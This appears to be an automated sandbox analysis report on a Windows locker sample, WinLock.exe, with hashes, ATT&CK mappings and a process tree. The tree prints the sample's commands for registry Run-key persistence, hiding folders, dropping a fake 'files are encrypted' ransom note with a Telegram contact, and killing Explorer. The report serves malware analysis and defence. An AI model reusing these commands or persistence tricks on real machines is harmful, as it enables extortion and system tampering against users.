8a5b33f6eb04626cc82b922a2b91c389c6314e7ca3a144b3bd08f17ae170f931

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
19/08/2026, 17:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WinLock.exe
Size 196KB
Sample260819-vt1a2ayfre
SHA256 8a5b33f6eb04626cc82b922a2b91c389c6314e7ca3a144b3bd08f17ae170f931
MD5 b8dc2090fb85701448b75ecba9a759aa
SHA1 57aba1de9b2973e01bc1fc5562f7b9f89336c3a9
SHA512 c189f2f32134c29096456676a34a27f01f42216cee5d890e3e3df1e1bd2c76fdeef92faaabd3b227a3eb5ee7422cbd9ad11b550f6ee58be49f379003f9e47a28
SSDEEP 6144:GD8A/ehUOqxaPB6WUSPbDddNSCpMW90KImQiXnhbsew:G4AwUOqxaPssvj
TLSH
T1D414385813AB897DD63D237EE0A1110507F46227C603E35E9EE5E4F95E2B313AB12B87
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion persistence spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock.exe

Drops desktop.ini file(s) 12 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4700	cmd.exe
4948	cmd.exe
5592	cmd.exe
856	cmd.exe
5212	cmd.exe
2700	cmd.exe
5864	cmd.exe
2456	cmd.exe
5248	cmd.exe
5624	cmd.exe
2292	cmd.exe
5052	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2196	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
5340	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5340	WinLock.exe
Token: SeDebugPrivilege	2196	taskkill.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 5340 wrote to memory of 4700	5340	WinLock.exe	85
PID 5340 wrote to memory of 5248	5340	WinLock.exe	86
PID 5340 wrote to memory of 5052	5340	WinLock.exe	87
PID 5340 wrote to memory of 2456	5340	WinLock.exe	88
PID 5340 wrote to memory of 2292	5340	WinLock.exe	89
PID 5340 wrote to memory of 5864	5340	WinLock.exe	90
PID 5340 wrote to memory of 2196	5340	WinLock.exe	91
PID 5248 wrote to memory of 5420	5248	cmd.exe	109
PID 2292 wrote to memory of 5924	2292	cmd.exe	111
PID 5248 wrote to memory of 4124	5248	cmd.exe	112
PID 5864 wrote to memory of 1340	5864	cmd.exe	113
PID 4700 wrote to memory of 4048	4700	cmd.exe	114
PID 5052 wrote to memory of 4056	5052	cmd.exe	115
PID 2456 wrote to memory of 3304	2456	cmd.exe	116
PID 2292 wrote to memory of 3932	2292	cmd.exe	117
PID 5864 wrote to memory of 3640	5864	cmd.exe	118
PID 5052 wrote to memory of 4024	5052	cmd.exe	119
PID 4700 wrote to memory of 2192	4700	cmd.exe	120
PID 2456 wrote to memory of 6136	2456	cmd.exe	121
PID 5340 wrote to memory of 4948	5340	WinLock.exe	125
PID 5340 wrote to memory of 5624	5340	WinLock.exe	126
PID 5340 wrote to memory of 5592	5340	WinLock.exe	127
PID 5340 wrote to memory of 856	5340	WinLock.exe	128
PID 5340 wrote to memory of 5212	5340	WinLock.exe	129
PID 5340 wrote to memory of 2700	5340	WinLock.exe	130
PID 4948 wrote to memory of 1076	4948	cmd.exe	137
PID 4948 wrote to memory of 5332	4948	cmd.exe	138
PID 5212 wrote to memory of 4460	5212	cmd.exe	139
PID 5592 wrote to memory of 2676	5592	cmd.exe	141
PID 2700 wrote to memory of 4776	2700	cmd.exe	142
PID 856 wrote to memory of 2508	856	cmd.exe	143
PID 5624 wrote to memory of 4524	5624	cmd.exe	140
PID 5592 wrote to memory of 1956	5592	cmd.exe	144
PID 5212 wrote to memory of 4000	5212	cmd.exe	145
PID 856 wrote to memory of 3152	856	cmd.exe	146
PID 5624 wrote to memory of 2648	5624	cmd.exe	147
PID 2700 wrote to memory of 5716	2700	cmd.exe	148

Views/modifies file attributes 1 TTPs 24 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1076	attrib.exe
2676	attrib.exe
3152	attrib.exe
2648	attrib.exe
4024	attrib.exe
5420	attrib.exe
5924	attrib.exe
1340	attrib.exe
4048	attrib.exe
4124	attrib.exe
3932	attrib.exe
3640	attrib.exe
6136	attrib.exe
4524	attrib.exe
4460	attrib.exe
2508	attrib.exe
4776	attrib.exe
4000	attrib.exe
1956	attrib.exe
5332	attrib.exe
2192	attrib.exe
3304	attrib.exe
5716	attrib.exe
4056	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4048
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2192
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5248
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5420
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4056
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4024
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3304
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:6136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5924
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3932
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @@lockervikup_bot 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5864
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1340
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3640
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2196
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Views/modifies file attributes
    PID:1076
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Views/modifies file attributes
    PID:5332
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5624
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4524
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2648
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5592
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2676
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:856
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2508
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5212
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4460
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4000
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\attrib.exe
    attrib -h -s -r -i /D
    3⤵
    - Views/modifies file attributes
    PID:4776
- - C:\Windows\system32\attrib.exe
    attrib +h +s -r desktop.ini
    3⤵
    - Views/modifies file attributes
    PID:5716

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:4388

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:5996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WinLock.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WinLock.exe.log
Size 1KB
SHA256 77071d2e1fdfc305512f111f44cebf7231f696c3bed3cdf5fd369b4485330d9c
MD5 b2385a5c9864a22996a735d92ea0bbea
SHA1 6102095de817c5118b2daff432176cb1a6c31e70
SHA512 9e4b1da35348bc9e047334082a56a765d8dbcbd86594818f1dddbc46fbb6279f4389333d6fd2567466f948d1f62f0af343e48474c98c0d148f4e27ae8a2a2816
TLSH
T1D531DC7022B6B1D889023F470C6D29C417BF4329B560AE0CBAA8525EDD2B0175F323F3
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Admin\Desktop\info-Locker.txt
Size 82B
SHA256 f70e49b46b2fff2d8ebd8fd87c5acd890190c8d079d6dcf300479ca831a8f38f
MD5 c35bf08be15b07794865ddd08183aa71
SHA1 e87cd30a0716b0689a7fe801ac2d3a7245af846a
SHA512 16249172870b55e0bd0e48cb7d0fefd09021eaa167ccab232bfb32539f775c296f3a6824c8482554942713f9cd8d6dbccc932b1c104de450fae3bd6598516485
TLSH
T10FA012052DA85545202211F33C32E18168BC984D200328500B10005700250C2149F410
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 82B
SHA256 6a9887a5439bb5741efd74b1a80bab6b2fa593ba6cf07a152372e9bbebf72fba
MD5 a2fc28595fe0410559cf3b1e9e749437
SHA1 8131856717607b222b9b5832fa4d20758b80a30a
SHA512 913e0f55750a421f624078f5da100459a50771571c4f296c5012bf1c86d13eb3d220751e6ffcbdc64e2d61b03a2a2c75aac64ecc5c9565c2d517c2ac7961e0cb
TLSH
T15AA012042DB85546202311F33C32E141287C984D200328500B10005700250C2149F410
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5340-0-0x00000000004D0000-0x0000000000508000-memory.dmp

Download

memory/5340-1-0x0000000002600000-0x0000000002610000-memory.dmp

Download

memory/5340-3-0x0000000002600000-0x0000000002610000-memory.dmp

Download

memory/5340-20-0x0000000002600000-0x0000000002610000-memory.dmp

Download

memory/5340-21-0x0000000002600000-0x0000000002610000-memory.dmp

Download

memory/5340-22-0x0000000002600000-0x0000000002610000-memory.dmp

Download

memory/5340-23-0x0000000002600000-0x0000000002610000-memory.dmp

Download